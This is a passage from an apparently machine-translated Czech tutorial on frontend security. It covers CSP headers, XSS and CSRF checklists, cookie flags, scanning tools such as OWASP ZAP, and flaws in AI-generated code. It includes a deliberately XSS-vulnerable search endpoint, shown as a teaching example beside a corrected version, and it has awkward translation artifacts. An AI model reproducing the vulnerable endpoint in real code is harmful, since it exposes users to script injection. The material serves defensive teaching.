`style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; ` +
`font-src 'self' https://fonts.gstatic.com; ` +
`img-src 'self' data: https:; ` +
`connect-src 'self' https://api.example.com; ` +
`frame-ancestors 'none'; ` +
`base-uri 'self'`
);
res.render('index', {
req,
providers: [
{ provide: 'CSP_NONCE', useValue: nonce }
]
});
});
Kompletní kontrolní seznam zabezpečení frontendu
Použijte tento kontrolní seznam jako referenci pro každý frontendový projekt. Každý bod představuje a specifická obrana proti zdokumentovanému útoku.
Prevence XSS
- Nikdy nepoužívejte
innerHTML,document.write()oeval()s uživatelskými údaji - Použití
textContentmístoinnerHTMLkdykoli je to možné - Použít kódování výstupu vhodné pro kontext (HTML, URL, JavaScript, CSS)
- Před vykreslením dezinfikujte vstup HTML pomocí DOMPurify
- Neobcházejte dezinfekční prostředek Angular/React bez zdokumentovaného důvodu
- Před použitím adresy URL ověřte
hrefosrc(blokjavascript:) - Ověřte původ
postMessage
Prevence CSRF
- Soubor
SameSite=Lax(minimálně) na všech souborech cookie relace - Implementujte token CSRF pro všechny mutativní požadavky (POST, PUT, DELETE, PATCH)
- Ověřte záhlaví
OriginoRefererjako doplňkovou obranu - Konfigurace podpory Angular XSRF (
withXsrfConfiguration) - Neprovádějte citlivé akce prostřednictvím požadavků GET
- Požádat o opětovné ověření kritických operací (změny hesla, přenosy)
CSP a HTTP hlavičky
- Nakonfigurujte omezující CSP s
default-src 'self' - Použití
nonceohashu skriptů se vyhněte'unsafe-inline' - Otestujte CSP v
Report-Onlypřed jeho aktivací - Sledujte zprávy o porušení CSP v produkci
- Soubor
X-Frame-Options: DENYaby se zabránilo clickjackingu - Soubor
X-Content-Type-Options: nosniff - Aktivujte HSTS pomocí
includeSubDomainsepreload - Konfigurovat
Referrer-PolicyePermissions-Policy - Zkontrolujte své skóre na securityheaders.com (cíl: A+)
Zabezpečení souborů cookie
- Nastavte vlajku
HttpOnlyna všech souborech cookie relace - Nastavte vlajku
Securek odesílání cookies pouze přes HTTPS - Soubor
SameSite=LaxoStrict - Definovat
PatheDomainco nejvíce omezující - Soubor
Max-Agerozumné (ne nekonečné sezení) - Neukládejte tokeny JWT
localStorage(zranitelný vůči XSS): preferujte soubory cookieHttpOnly
Nástroj pro testování zabezpečení frontendu
Ruční testování zabezpečení nestačí. Tyto profesionální nástroje automatizují detekce zranitelností XSS, CSRF a chybné konfigurace záhlaví.
| Nástroje | Typ | Hlavní použití | Náklady |
|---|---|---|---|
| OWASP ZAP | DAST (proxy skener) | Automatické skenování XSS, CSRF, injekce a chybné konfigurace | Uvolnit |
| Burp Suite | DAST (pokročilý proxy) | Manuální a automatické penetrační testování, pokročilé fuzzing | Komunita (zdarma) / Pro (449 USD/rok) |
| securityheaders.com | Analýza záhlaví | Rychle zkontrolujte všechny bezpečnostní hlavičky s hodnocením A-F | Uvolnit |
| Hodnotitel CSP | CSP analýza | Ověření specifických zásad CSP s návrhy Google | Uvolnit |
| Snyk | SCA + SAST | Vyhledejte zranitelnosti závislostí a zdrojového kódu | Bezplatná úroveň / tým (25 $ měsíčně) |
| Zabezpečení ESLint | SAST (linter) | Pravidla lint pro detekci XSS vzorů v kódu (innerHTML, eval) | Uvolnit |
// .eslintrc.json - Plugin di sicurezza per Angular/TypeScript
{
"plugins": ["security", "no-unsanitized"],
"rules": {
"no-eval": "error",
"no-implied-eval": "error",
"no-new-func": "error",
"no-unsanitized/method": "error",
"no-unsanitized/property": "error",
"security/detect-unsafe-regex": "warn",
"security/detect-non-literal-regexp": "warn",
"security/detect-object-injection": "warn"
}
}
# Scansione rapida con OWASP ZAP in Docker
docker run -t zaproxy/zap-stable zap-baseline.py \
-t https://your-app.example.com \
-r report.html \
-l WARN
# Scansione completa con autenticazione
docker run -t zaproxy/zap-stable zap-full-scan.py \
-t https://your-app.example.com \
-r full-report.html \
--hook=/zap/auth-hook.py
# Integrazione nella pipeline CI/CD (GitHub Actions)
# Aggiungi come step nel workflow:
# - name: OWASP ZAP Scan
# uses: zaproxy/action-baseline@v0.10.0
# with:
# target: 'https://staging.example.com'
Chyby v kódu generovaném umělou inteligencí
Masivní přijetí nástrojů jako Copilot, ChatGPT a Claude pro generování kódu přineslo nové riziko: tyto nástroje často generují kód, který funguje správně, ale obsahuje chyby zabezpečení. Podle Zabezpečení kódu GenAI Zpráva Veracode 2025, statistiky jsou alarmující.
Statistiky zabezpečení kódu AI
- 86% poruchovost pro Cross-Site Scripting (CWE-80) – kód vygenerovaný umělou inteligencí téměř nikdy nezahrnuje dezinfekci XSS
- 88% poruchovost pro Log Injection (CWE-117) - uživatelská data jsou protokolována bez dezinfekce
- 72% poruchovost pro kód Java generovaný AI
- Průměrná poruchovost 45 %. ve všech testovaných jazycích
- 38-45% poruchovost specifické pro Python, JavaScript a C#
// TIPICO OUTPUT AI: funziona ma e vulnerabile
// "Crea un endpoint che mostra i risultati di ricerca"
app.get('/search', (req, res) => {
const query = req.query.q; // Nessuna sanitizzazione!
const results = searchDatabase(query);
res.send(`
<h1>Risultati per: ${query}</h1>
<ul>${results.map(r => `<li>${r.title}</li>`).join('')}</ul>
`);
});
// XSS: query e r.title non sono sanitizzati
// VERSIONE CORRETTA (dopo code review di sicurezza)
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(String(req.query.q || ''));
const results = searchDatabase(req.query.q as string);
res.send(`
<h1>Risultati per: ${query}</h1>
<ul>${results.map(r =>
`<li>${escapeHtml(r.title)}</li>`
).join('')}</ul>
`);
});
Základní pravidlo pro kód AI
Kód vygenerovaný AI není ve výchozím nastavení bezpečný. Ošetřete každý vygenerovaný úryvek pomocí AI jako kódu napsaného juniorským vývojářem – může to fungovat, ale vyžaduje to vždy jeden bezpečnostní revize před zahájením výroby. Zkontrolujte konkrétně: sanitace vstupu, únik výstupu, zpracování chyb (fail-closed), autorizační kontroly a nepřítomnost pevně zakódovaných tajemství.
Závěry a další kroky
Zabezpečení frontendu není volitelné: je to základní odpovědnost každého vývojáře. XSS, CSRF a nedostatek bezpečnostních hlaviček jsou konkrétní zranitelnosti, které přicházejí denně zneužíváno. Dobrou zprávou je, že obrany existují, jsou dobře zdokumentovány a frameworky jako Angular je implementují nativně.
Praktická cesta k zabezpečení vaší frontendové aplikace:
- Den 1: Nakonfigurujte bezpečnostní hlavičky pomocí Helmet a zkontrolujte skóre na securityheaders.com
- Den 2: Nasaďte CSP v režimu Report-Only a analyzujte zprávy o porušení
- Den 3: Zkontrolujte všechna místa, kam v DOM vkládáte uživatelská data: použijte textContent nebo dezinfikujte
- Den 4: Konfigurace ochrany CSRF: Soubory cookie SameSite + token XSRF společnosti Angular
- 5. den: Spusťte skenování OWASP ZAP na vaší pracovní aplikaci
Další články v seriálu
V budoucích článcích se ponoříme do dalších kritických oblastí webové bezpečnosti:
- Článek 03: SQL Injection a Input Validation - Backendová ochrana s parametrizovanými dotazy a pokročilou validací
- Článek 04: Zabezpečené ověřování – JWT, OAuth2, relace a vícefaktorové ověřování
- Článek 05: Zabezpečení API – omezení rychlosti, klíče API a zabezpečení REST/GraphQL API
Bezpečnost je nepřetržitý proces, nikoli cílová čára. Každá aktualizace rámce, každá nová závislost, každý řádek kódu (vygenerovaný člověkem nebo AI) může zavést jednu zranitelnost. Cílem není dokonalé zabezpečení, ale jeho vybudování obrana do hloubky kde každá úroveň zpomaluje a blokuje útočníka, čímž zaútočí ekonomicky nevýhodné.







